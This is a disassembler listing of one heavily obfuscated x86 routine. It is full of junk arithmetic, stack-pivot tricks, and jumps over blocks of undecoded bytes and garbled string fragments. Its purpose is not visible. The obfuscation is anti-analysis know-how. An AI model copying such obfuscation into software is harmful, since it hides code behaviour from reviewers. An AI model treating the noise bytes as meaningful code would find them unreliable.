		pop	ebx
		xor	ebp, [esp+34h+var_34]
		xor	[esp+34h+var_34], ebp
		xor	ebp, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], esi
		push	29E1328Ah
		pop	esi
		jmp	loc_54DDCB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 26FBE9h, 241C8B00h, 3D7CE9h, 0D5B95100h
		dd 896F6846h, 0CAB959CDh, 10E610Dh, 0E2055DE9h,	291A5D78h
		dd 78E22DC8h, 0C8B1A5Dh, 6916E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549176:				; CODE XREF: sub_542C3C+8AE7j
		mov	eax, 5D3B0015h
		mov	esi, 4B63170Bh
		xor	esi, eax
		jmp	loc_548949
; ---------------------------------------------------------------------------

loc_549187:				; CODE XREF: sub_542C3C+BA09j
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+30h+var_30]
		xor	[esp+30h+var_30], ecx
		xor	ecx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		jmp	loc_552A2D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 2C890000h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 73F3E9h, 24348B00h, 41E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5491CD:				; CODE XREF: sub_542C3C+9B49j
		not	dh
		shr	dh, 6
		and	dh, 0D0h
		add	dh, 0F5h
		and	cl, dh
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_552BEA
; ---------------------------------------------------------------------------
		db 51h,	56h, 0BEh
		dd 0B924EC1Fh, 34FFF189h, 0C4815E24h, 4, 8959CE31h, 6CCEE9F3h
		dd 0D2680000h, 89000051h, 0BE56241Ch, 4, 15EF389h, 0C7815BDFh
		dd 2, 31243C33h, 3C33243Ch, 6EE95C24h, 31000000h, 0C1815DE8h
		dd 14452319h, 94D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_549239:				; CODE XREF: sub_542C3C+7F57j
		not	ebp
		neg	ebp
		add	ebp, 0E6B2C9A4h
		mov	ebx, ebp
		pop	ebp
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		shr	ecx, 0Ah
		jmp	loc_54BC24
; ---------------------------------------------------------------------------

loc_549257:				; CODE XREF: sub_542C3C+5F90j
		push	[esp+34h+var_34]
		jmp	loc_5473DB
; ---------------------------------------------------------------------------
		db 58h
		dd 631CE951h, 0E1890000h, 4C181h, 0BD550000h, 2, 5355E9h
		db 0
; ---------------------------------------------------------------------------

loc_549279:				; CODE XREF: sub_542C3C+E6B2j
		add	esp, 4
		push	[esp+34h+var_34]
		mov	eax, [esp+38h+var_38]
		jmp	loc_54BCB5
; ---------------------------------------------------------------------------

loc_549287:				; CODE XREF: sub_542C3C+88C2j
		pop	esp
		mov	[esp+34h+var_34], ebx
		mov	ebx, ebp
		mov	eax, ebx
		pop	ebx
		pop	ebp
		mov	esi, [esp+2Ch+var_2C]
		jmp	loc_550F6E
; ---------------------------------------------------------------------------
		db 0F6h, 0E9h, 66h
		dd 68CCB60Fh, 45B6h, 89242C89h,	4C581E5h, 50000000h, 2B8h
		dd 4C90E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5492BA:				; CODE XREF: sub_542C3C+423Cj
		add	esp, 4

loc_5492BD:				; CODE XREF: sub_542C3C+D151j
		push	edx
		mov	edx, esp
		jmp	loc_5483E0
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 5
		dd 2685EE81h, 0F74E6A22h, 0E5EE81DEh, 1670BBAh,	4875EF0h
		dd 0EB805C24h, 0BCB551ADh, 9652E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5492EA:				; CODE XREF: sub_542C3C+8973j
		push	[esp+38h+var_38]
		pop	edi
		push	1B56h
		jmp	loc_551F24
; ---------------------------------------------------------------------------
		dd 2ECABA52h, 0D329164Fh, 0A768505Ah, 5866A872h, 1E97E940h
		dd 0F7660000h, 0E99C241Ch, 6443h, 13E9C2FEh, 5FFFFDBh
		dd 4, 8704C083h, 685C2404h, 739h, 83241C89h, 148904ECh
		dd 3377BA24h, 524A67F2h, 5A2414F7h, 24DFCA81h, 534A36E1h
		dd 0BE4285BBh, 4CF38148h, 0E927A872h, 2C8Ah, 7BA1C281h
		dd 0C8B2637h, 4C48124h,	0E9000000h, 65CEh, 36C18159h, 89870C96h
		dd 0FB0159CFh, 8911E9h,	24148700h, 358E9h, 0FE685000h
		dd 5843C049h, 1BB53h, 0D8010000h, 6E0C15Bh, 7FBD2D40h
		dd 0C101F012h, 8324048Bh, 0C3304C4h, 240C3124h,	8A81E9h
		dd 0D8C0E900h, 8B66FFFFh, 54572404h, 4C7815Fh, 55000000h
		dd 38ECE9h
		db 0
; ---------------------------------------------------------------------------

loc_5493CD:				; CODE XREF: sub_542C3C+8093j
		and	ecx, esi
		mov	esi, [esp+3Ch+var_3C]
		add	esp, 4
		shr	ecx, 0Bh
		push	4A12h
		mov	[esp+3Ch+var_3C], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_54A44A
; ---------------------------------------------------------------------------
		db 68h
		dd 4242C04h, 81494159h,	0F2F1C9E9h, 59C889E9h, 43F9E9h
		db 0
; ---------------------------------------------------------------------------

loc_549409:				; CODE XREF: sub_542C3C+500Dj
		shr	ebp, 3
		not	ebp
		jmp	loc_54DD5E
; ---------------------------------------------------------------------------
		db 81h
		dd 5868CDF5h, 0DAFCE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54941E:				; CODE XREF: sub_542C3C+5C5Cj
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_54E642
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 0Ch
		dd 4C48324h, 7543E9h
		db 0
; ---------------------------------------------------------------------------

loc_549435:				; CODE XREF: sub_542C3C+EEE2j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		not	eax
		jmp	loc_548905
; ---------------------------------------------------------------------------
		dw 0E9C3h
		dd 0FFFFD826h, 0D8BD5551h, 8963CE70h, 56505DE9h, 4045E950h
		dd 0DAF60000h, 0E9A5C280h, 1CF7h, 26E982B2h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549477:				; CODE XREF: sub_542C3C+9FF4j
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		mov	ecx, 0FFFFFFFFh
		sub	ebp, ecx
		jmp	loc_547CD9
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 21h
		dd 89D17EDBh, 24348BF7h, 104C483h, 645BE9F9h, 4BF0000h
		dd 1000000h, 68565FF8h,	2, 8BF0015Eh, 0E9682434h, 0E9000003h
		dd 9A33h, 1A3DBD55h, 4CE96BDDh,	68FFFFFFh, 2, 0F4C28158h
		dd 8153BD29h, 3C17E2EAh, 81C20106h, 3C17E2C2h, 28B95106h
		dd 4934AF0Dh, 4112E941h, 0C7010000h, 243C3358h,	1F2EE9h
		dd 0CCD6800h, 0A1E90000h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549503:				; CODE XREF: sub_542C3C+817Dj
		pop	ebx
		add	ch, 4Eh
		sub	bl, ch
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_54DC1A
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 409Ch, 0E9C0B60Fh, 0FFFFE0F2h, 0FFD751E9h
		dd 63232DFFh, 0D001353Bh, 3B632305h, 56535A35h,	9E1D01BEh
		dd 1BA524Fh, 1000000h, 1AE95AD6h, 8000008Fh, 0DE006EF3h
		dd 61B5515Bh, 6BFE9h, 48B6600h,	2C48124h, 0E9000000h, 509Ah
; ---------------------------------------------------------------------------

loc_549568:				; CODE XREF: sub_542C3C+62BDj
		dec	esi
		or	esi, 64748F2h
		sub	esi, 400F52AAh
		push	eax
		mov	eax, 68AC11BDh
		neg	eax
		not	eax
		or	eax, 26E83892h
		push	edx
		mov	edx, 0CB31BC16h
		sub	eax, edx
		pop	edx
		jmp	loc_54C392
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 0E9243489h, 1936h
		dd 4C581h, 17E90000h, 89000026h, 4BE56E7h, 1000000h, 0E2E95EF7h
		dd 5E00007Bh, 15AD731h,	0E087E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5495D2:				; CODE XREF: sub_542C3C+9B6Bj
		add	esp, 4
		jmp	loc_549639
; ---------------------------------------------------------------------------
		dw 487h
aLIT_rsit	db '$‹$$‰<$T_Réi’',0
		dw 5700h
		dd 2BFh, 74620500h, 0F8017774h,	7474622Dh, 243C8B77h, 8304C483h
		dd 48904ECh, 2474FF24h,	48F5804h, 9665C24h, 0E99C2404h
		dd 0FFFFD65Eh, 8BEE295Fh, 0C483242Ch, 0FFBB5304h, 1111436h
		dd 0C6815BDEh, 751B088Dh, 99ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_549639:				; CODE XREF: sub_542C3C+6999j
		pop	edi
		not	edi
		xchg	eax, edi
		xchg	eax, edx
		push	446Dh
		mov	[esp+38h+var_38], eax
		jmp	loc_551580
; ---------------------------------------------------------------------------

loc_54964B:				; CODE XREF: sub_542C3C+8841j
		pop	eax
		shl	edx, 1
		sub	edx, 0CD9118Eh
		push	ecx
		mov	ecx, edx
		mov	esi, ecx
		pop	ecx
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		and	eax, esi
		push	[esp+30h+var_30]
		pop	esi
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, 34803C6Bh
		and	ecx, 234F7AA8h
		jmp	loc_54CEC0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 52D8F7D8h, 0FFF26AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549685:				; CODE XREF: sub_542C3C+E014j
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp

loc_5496A2:				; CODE XREF: sub_542C3C:loc_54A60Bj
					; sub_542C3C:loc_54CC86j
		push	dword ptr [edi+24h]
		push	[esp+30h+var_30]
		pop	ecx
		jmp	loc_54C915
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 95FEE95Bh, 3C320000h, 243C3024h, 89565366h, 4C681E6h
		dd 0E9000000h, 94B7h, 0B951FA01h, 261E38FCh, 1696C281h
		dd 0CA015DE9h, 0FFF43DE9h, 8B665CFFh, 0EC832404h, 0E04E904h
		dd 0C7810000h, 34A963E9h, 0E439E952h, 0C481FFFFh, 4, 8A768h
		dd 240C8900h, 65B7E9h, 12CDBA00h, 24E95DDBh, 52000014h
		dd 2A1DE9h
		db 0
; ---------------------------------------------------------------------------

loc_54971D:				; CODE XREF: sub_542C3C+4AD6j
		sub	[esp+2Ch+var_28], 2EB00EBBh
		add	[esp+2Ch+var_28], esi
		add	[esp+2Ch+var_28], 2EB00EBBh
		pop	esi
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		sub	edi, 47FF556Eh
		mov	eax, edi
		pop	edi
		push	esi
		push	edi
		push	47962DD3h
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		push	eax
		mov	eax, 88F5B40h
		mov	esi, 287D19E9h
		add	esi, eax
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		dec	esi
		jmp	loc_552A88
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 0E9240C89h, 6C2Fh, 4BDh, 5DE90100h, 2474FF51h, 48F5904h
		dd 24248B24h, 0E924048Bh, 0FFFFF712h, 4EC8158h,	89000000h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+28h+var_28], esp
		add	[esp+28h+var_28], 4
		pop	esi
		push	edx
		jmp	loc_54EBA6
; ---------------------------------------------------------------------------
		dd offset dword_596968
		align 4
		dd 0E9243489h, 0CA7h, 24048B66h, 306868h, 24348900h, 4EC81h
		dd 24890000h, 24048324h, 57555E04h, 0BB6BE3BFh,	9421BD1Fh
		dd 0C581E044h, 7F707B67h, 3F66ED81h, 0FD01095Fh, 3F66C581h
		dd 0B850095Fh, 48F5416h, 0FF2F7135h, 58C5297Bh,	5DEE015Fh
		dd 2C681h, 98E90000h, 89000080h, 4BB241Ch, 0E9000000h
		dd 6BE7h, 9C240430h, 764FE9h, 248B6600h, 0D434E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549846:				; CODE XREF: sub_542C3C+C102j
		push	ecx
		push	esi
		push	ebx
		mov	ebx, 25F36292h
		mov	esi, 7B872B6Bh
		jmp	loc_547016
; ---------------------------------------------------------------------------
		dd 345EE981h, 0D10156EBh, 365868h, 24048900h, 205DC9B8h
		dd 0FEE976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549872:				; CODE XREF: sub_542C3C+CF24j
		add	edi, edx
		jmp	loc_54CB9D
; ---------------------------------------------------------------------------
		db 5Fh,	9, 77h
		dd 66CEE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549882:				; CODE XREF: sub_542C3C+485Bj
		xor	edi, edx
		pop	edx
		mov	edx, edi
		pop	edi
		and	eax, edx
		push	[esp+2Ch+var_2C]
		pop	edx
		push	2282h
		mov	[esp+30h+var_30], edi
		mov	edi, esp
		jmp	loc_54EC3F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 9Bh
		dd 0E91F322Eh, 5B9Ch, 0D0CDEA80h, 4EC81EAh, 89000000h
		dd 0E9522404h, 9Bh
; ---------------------------------------------------------------------------

loc_5498BC:				; CODE XREF: sub_542C3C+F1E7j
		inc	ebx
		jmp	loc_54C150
; ---------------------------------------------------------------------------

loc_5498C2:				; CODE XREF: sub_542C3C+4A2Bj
		xor	ecx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		pop	eax
		push	esi
		push	2A9Ch
		mov	[esp+34h+var_34], edi
		mov	edi, 4
		jmp	loc_54BF7C
; ---------------------------------------------------------------------------
		dd 8246C01h, 6359E9h
		db 0
; ---------------------------------------------------------------------------

loc_5498E5:				; CODE XREF: sub_542C3C+72A6j
		push	esi
		mov	esi, 25D6064Fh
		shr	esi, 1
		not	esi
		not	esi
		push	ecx
		mov	ecx, 7355A9Ch
		jmp	loc_551EEF
; ---------------------------------------------------------------------------
		dd 496DDCB9h, 8DF18164h, 0C12F3A3Fh, 0E9C102E9h, 25F18105h
		dd 0F7600927h, 6DF181D1h, 21D7F758h, 834CE9CDh,	0F8010000h
		dd 2F31CF2Dh, 7ABB5346h, 0E944F044h, 540Fh, 8159CA31h
		dd 0DCC786C2h, 4412E90Fh, 4C680000h, 8900000Bh,	0ACE9241Ch
		dd 6600003Dh, 47E930FFh, 0B600003Dh, 2AEE80E7h,	0FE06E6C0h
		dd 0E1FE9C6h, 7BA0000h,	0E97B4676h, 0FFFFE3E7h,	5203E8C1h
		dd 0C30B4CBAh, 2EAC141h, 4F95E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549982:				; CODE XREF: sub_542C3C+5B5Ej
		xor	esi, 0A006E1DDh
		sub	[edi+24h], esi
		push	[esp+18h+var_18]
		jmp	loc_55129E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 0FFFFD2DEh, 4BA52h, 0E9810000h, 121E1BCEh
		dd 25F2E981h, 29E94B8Eh, 66000019h, 2EC835Ah, 8FEBE9h
		dd 6E98100h, 89C50C11h,	1D8E9CAh, 0EA890000h, 4CE94A5Dh
		dd 1000094h, 5767E9C7h,	4890000h, 7FABB824h, 0E95539E3h
		dd 54EAh, 4C00EF81h, 0D5E952C3h, 5E000061h, 83EBE9h, 55E18900h
		dd 84B6E9h, 241C8700h, 24048F5Ch, 4EC815Ch, 89000000h
		dd 5A542414h, 4C281h, 50550000h, 3F476851h, 81592538h
		dd 140A14C1h, 59585131h, 6ED9E9h, 4055C00h, 5000000h, 4
		dd 31240433h, 4332404h,	24248B24h, 0FFD9DFE9h, 0C8B66FFh
		dd 244E6824h, 3C890000h, 535F5424h, 0DC685750h,	0E979C27Ah
		dd 3388h, 8B240C87h, 4892424h, 0E9585424h, 7B45h, 0E9243489h
		dd 637Ch, 0C888F988h, 0BA525B59h, 28h, 890DE9h
		db 0
; ---------------------------------------------------------------------------

loc_549A91:				; CODE XREF: sub_542C3C+E7EEj
		inc	ebp
		inc	ebp
		push	eax
		push	ebp
		mov	ebp, 76E754F9h
		push	esi
		mov	esi, 37E0313Fh
		xor	esi, 2D1B6C18h
		xor	ebp, esi
		pop	esi
		jmp	loc_54D1B4
; ---------------------------------------------------------------------------
		dw 0E82Ch
		dd 0E9B75366h, 0E92C0204h, 0B551F800h, 0E9EDD0A0h, 1C19h
		dd 0E9243C8Bh, 61EDh, 582434FFh, 2707E9h, 0FFC38300h, 1308C381h
		dd 442DB695h, 2936A347h, 8992E9D8h, 0CB890000h,	4BB95159h
		dd 0E9530E09h, 8452h
; ---------------------------------------------------------------------------

loc_549AF8:				; CODE XREF: sub_542C3C+F1A3j
		xchg	ebp, [esp+24h+var_24]
		pop	esp
		sub	edx, 244D3D99h
		add	edx, eax
		push	ebx
		mov	ebx, 54C80AA0h
		xchg	esi, ebx
		sub	esi, 0FFFFFFFFh
		push	ebx
		push	esi
		jmp	loc_550499
; ---------------------------------------------------------------------------
aISE		db 'ˆÔéÄE',0
		align 10h

loc_549B20:				; CODE XREF: sub_542C3C+77FEj
		add	esp, 4
		and	eax, edx
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		or	eax, eax
		jz	loc_546D38
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 615013D1h
		sub	[esp+2Ch+var_28], eax
		mov	eax, [esp+2Ch+var_2C]
		jmp	loc_54A66C
; ---------------------------------------------------------------------------
		dw 66ACh
		dd 66143B68h, 52241489h, 0D5E9E289h, 28000034h,	0E9805BDAh
		dd 50E9808Bh, 0E952D128h, 156Dh
; ---------------------------------------------------------------------------

loc_549B70:				; CODE XREF: sub_542C3C+A598j
		push	7654h
		mov	[esp+30h+var_30], ebx
		push	edx
		push	409C6DFFh
		pop	edx
		neg	edx
		dec	edx
		xor	edx, 0E4FAF2D4h
		push	edx
		pop	ebx
		pop	edx
		xor	edi, ebx
		pop	ebx
		jmp	loc_54CB19
; ---------------------------------------------------------------------------
		db 28h
		dd 0EA3058C5h, 28940459h, 1C26E9D0h, 0E9590000h, 40A9h
; ---------------------------------------------------------------------------

loc_549BA8:				; CODE XREF: sub_542C3C+C8D3j
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_549BC3
; ---------------------------------------------------------------------------
aSsf		db ']éè”',0
		db 0
; ---------------------------------------------------------------------------

loc_549BC3:				; CODE XREF: sub_542C3C+6F7Cj
		xchg	edi, [esp+34h+var_34]
		pop	esp
		jmp	loc_54FD03
; ---------------------------------------------------------------------------
		dd 4EC83ADh, 732BE9h, 24343100h, 0E9243433h, 41F2h
; ---------------------------------------------------------------------------

loc_549BE0:				; CODE XREF: sub_542C3C+FC13j
		push	dword ptr [eax]
		jmp	loc_552193
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0CE92434h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549BEF:				; CODE XREF: sub_542C3C+C903j
		push	[esp+34h+var_34]
		jmp	loc_551F84
; ---------------------------------------------------------------------------
		db 29h
		dd 0C2815BDAh, 5AA669A2h, 0F75AD521h, 2EDC1D5h,	197E9h
		dd 4C38300h, 0E9241C87h, 490Dh,	3070F580h, 0C38059EEh
		dd 6377E93Dh, 8B660000h, 0E8E92404h, 0FF000060h, 34FF2434h
		dd 24048B24h, 4C481h, 0C4810000h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 29E83CF3h
		and	edi, 7C1A285Ah
		neg	edi
		add	edi, 28082856h
		sub	ebp, 15104EBCh
		add	ebp, edi
		jmp	loc_54DBC8
; ---------------------------------------------------------------------------

loc_549C68:				; CODE XREF: sub_542C3C+DF69j
		sub	esp, 4
		mov	[esp+44h+var_44], edi
		sub	esp, 4
		mov	[esp+48h+var_48], ebp
		jmp	loc_551FFF
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 2286E9h, 24348900h, 0C8B5E51h, 4C48324h, 0C7E9F187h
		dd 57000070h, 42474FFh,	78BFE9h, 51525900h, 32AE9h, 0AB95100h
		dd 0BA2E7A47h, 0D185B8FAh, 45DAE9h, 2FC38000h, 0C3005866h
		dd 80B4C380h, 0B60F53EBh, 87048FC0h, 1A87E9h, 30E95A00h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549CDB:				; CODE XREF: sub_542C3C+C4C5j
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp+48h+var_48], edi
		mov	edi, 83B5489h
		sub	edi, 0E3B13BCCh
		and	ebp, edi
		pop	edi
		xor	ebp, 20800194h
		and	eax, ebp
		mov	ebp, [esp+44h+var_44]
		sub	esp, 4
		mov	[esp+48h+var_48], esi
		jmp	loc_548EB3
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 0B15166D8h, 66C83098h, 68240C8Bh, 1692h, 68240C89h
		dd 3E72h, 0E9242489h, 647Dh
; ---------------------------------------------------------------------------

loc_549D30:				; CODE XREF: sub_542C3C+E404j
		mov	esi, ecx
		pop	ecx
		shr	esi, 3
		jmp	loc_552B51
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB8002C4h, 80E328CAh, 48BCAC3h, 0E7895724h,	4C781h
		dd 0C7810000h, 4, 5C243C87h, 0FD9C380h,	34FFC0B6h, 0CF10E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549D6A:				; CODE XREF: sub_542C3C+5D34j
		and	edx, 697622C5h
		sub	edx, 0E4F9C74Eh
		jmp	loc_55018E
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9E9241Ch, 0FF000013h, 589D1C77h, 9C240419h, 0FFCEE9E9h
		dd 4EC83FFh, 54240489h,	4B95158h, 0E9000000h, 941Fh, 884DED81h
		dd 39E98C40h, 31000026h, 0C1815AD1h, 8CB8E813h,	3359CF01h
		dd 3C31243Ch, 243C3324h, 6624248Bh, 9C240429h, 0FFCEA9E9h
		dd 4C483FFh, 8B24048Fh,	3B662424h, 9BE99CC8h, 8B00004Ch
		dd 0C4832414h, 5616E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549DEE:				; CODE XREF: sub_542C3C+FFA9j
		or	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 389C55A2h
		xor	ecx, ebx
		pop	ebx
		inc	ecx
		sub	ecx, 4EC12E2Ch
		add	eax, ecx
		jmp	loc_54E8FD
; ---------------------------------------------------------------------------

loc_549E08:				; CODE XREF: sub_542C3C+BC95j
		add	ecx, edi
		add	ecx, 77F23D1Ah
		add	ecx, 637710EEh
		sub	ecx, 24677DA6h
		push	[esp+0Ch+var_C]
		pop	edi
		jmp	loc_54C251
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0EDh
		dd 8173A62Ch, 0FC3F11C3h, 878AE920h, 0C1450000h, 0DFE907E5h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549E3F:				; CODE XREF: sub_542C3C+F7B4j
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xchg	eax, ebx
		jmp	loc_54C90E
; ---------------------------------------------------------------------------
		dd 240CD366h, 0CE1CE99Ch, 0C87FFFFh, 6E3FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E66:				; CODE XREF: sub_542C3C+8F80j
		mov	[esp+10h+var_10], esp
		push	ecx
		mov	ecx, 4
		add	[esp+14h+var_10], ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		pop	esi
		push	5CDh
		mov	[esp+10h+var_10], ebp
		mov	ebp, 317F7E4Bh
		not	ebp
		push	eax
		mov	eax, 22E621C1h
		xor	ebp, eax
		jmp	loc_548DE2
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 81h
		dd 1496B18h, 2A51E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549EA6:				; CODE XREF: sub_542C3C+AA7Bj
		pop	edx
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	esi
		push	[esp+14h+var_10]
		pop	esi
		pop	[esp+14h+var_14]
		pop	esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		jmp	loc_547C19
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd offset dword_457444+360A5h
		db 0
; ---------------------------------------------------------------------------

loc_549ED1:				; CODE XREF: sub_542C3C+924Ej
		sub	esp, 4
		jmp	loc_54ED28
; ---------------------------------------------------------------------------

loc_549ED9:				; CODE XREF: sub_542C3C+5FBEj
		mov	[esp+34h+var_34], ebx
		push	65AC0EAFh
		pop	ebx
		jmp	loc_5498E5
; ---------------------------------------------------------------------------

loc_549EE7:				; CODE XREF: sub_542C3C+AEF7j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		mov	[esp+34h+var_34], edx
		mov	edx, 578D746Dh
		sub	edx, 5C050DE0h
		shl	edx, 7
		xor	edx, 476C5FCEh
		add	edx, 7CA0E6B3h
		push	eax
		mov	eax, 24h
		push	edx
		mov	edx, 55AB7DD7h
		sub	edx, 0DFDD6952h
		add	eax, edx
		jmp	loc_54C9A9
; ---------------------------------------------------------------------------
		db 87h
		dd 0C2E92404h, 4000018h, 0FD5FE9A2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F46:				; CODE XREF: sub_542C3C+B107j
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		pop	eax
		push	ebp
		mov	ebp, 65B06C94h
		push	eax
		push	ebx
		push	edi
		push	6BEF5DA5h
		pop	edi
		inc	edi
		jmp	loc_54F1CC
; ---------------------------------------------------------------------------
aAaAa		db '€íÊ€íË',0
		dd 0CBC580E5h, 0E9CAC580h, 0FFFFE093h
; ---------------------------------------------------------------------------

loc_549F78:				; CODE XREF: sub_542C3C+FF27j
		push	edi
		jmp	loc_54AE14
; ---------------------------------------------------------------------------
aYssg		db 'Yé˜g',0
		align 4
		dd 42474FFh, 83241C8Bh,	48F04C4h, 24248B24h, 24048B66h
		dd 5DE568h, 240C8900h, 0FFF2C1E9h, 24048BFFh, 5DDA6851h
		dd 24890000h, 24048324h, 8997E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549FBA:				; CODE XREF: sub_542C3C+47B3j
		xor	ebp, eax
		pop	eax
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		mov	eax, [esp+1Ch+var_1C]
		push	4E22h
		mov	[esp+20h+var_20], eax
		push	esp
		jmp	loc_546D6C
; ---------------------------------------------------------------------------
		db 0B5h
		dd 1EED8083h, 8059EA88h, 0B252D3EAh, 4051E973h,	8B660000h
		dd 0C9682404h, 8900003Dh, 0E389241Ch, 4EC9BD55h, 0D5F715A1h
		dd 81454545h, 5EB13DF5h, 8BEB01EAh, 0C483242Ch,	3AFD6804h
		dd 34890000h, 26824h, 815E0000h, 0B3980EBh, 81F30131h
		dd 0B3980C3h, 3A2DE931h, 24890000h, 24048324h, 0BB535D04h
		dd 383533EFh, 33EBF381h, 0DD013835h, 4EC835Bh, 68243C89h
		dd 2, 5FFD015Fh, 223EE9h, 59CF2800h, 0F8288604h, 2C5B862Ch
		dd 4D028C2h, 473BE9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A072:				; CODE XREF: sub_542C3C+EAC6j
		push	ecx
		mov	ecx, 34CE03D6h
		xor	edi, ecx
		pop	ecx
		inc	edi
		neg	edi
		push	edi
		not	[esp+28h+var_28]
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		xor	edi, 49DA2190h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		sub	eax, 6D2028ECh
		push	dword ptr [edi+eax*4]
		push	[esp+20h+var_20]
		pop	eax
		push	3C76h
		jmp	loc_54B913
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aYs0		db 'YéÔ0',0
		align 2
aN1Szu		db '­1Øé‡U',0
		align 2

loc_54A0C2:				; CODE XREF: sub_542C3C+E34Bj
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_548001
; ---------------------------------------------------------------------------
		db 1
aQbIlPs1	db 'ïÇÝ',0Bh,')I‹,$Pé>1',0
		align 4
		dd 50DF8957h, 5B14E9h, 0D9EB8000h, 6D12E9h, 0FA840F00h
		dd 68FFFFF3h, 1526h, 0E9241C89h, 529Dh,	4B8h, 0D9685600h
		dd 0E97A4B1Eh, 1705h
; ---------------------------------------------------------------------------

loc_54A11C:				; CODE XREF: sub_542C3C+FE47j
		add	ebx, 4
		push	ebx
		push	[esp+24h+var_20]
		pop	ebx
		jmp	loc_548FC5
; ---------------------------------------------------------------------------
		dw 0FA89h
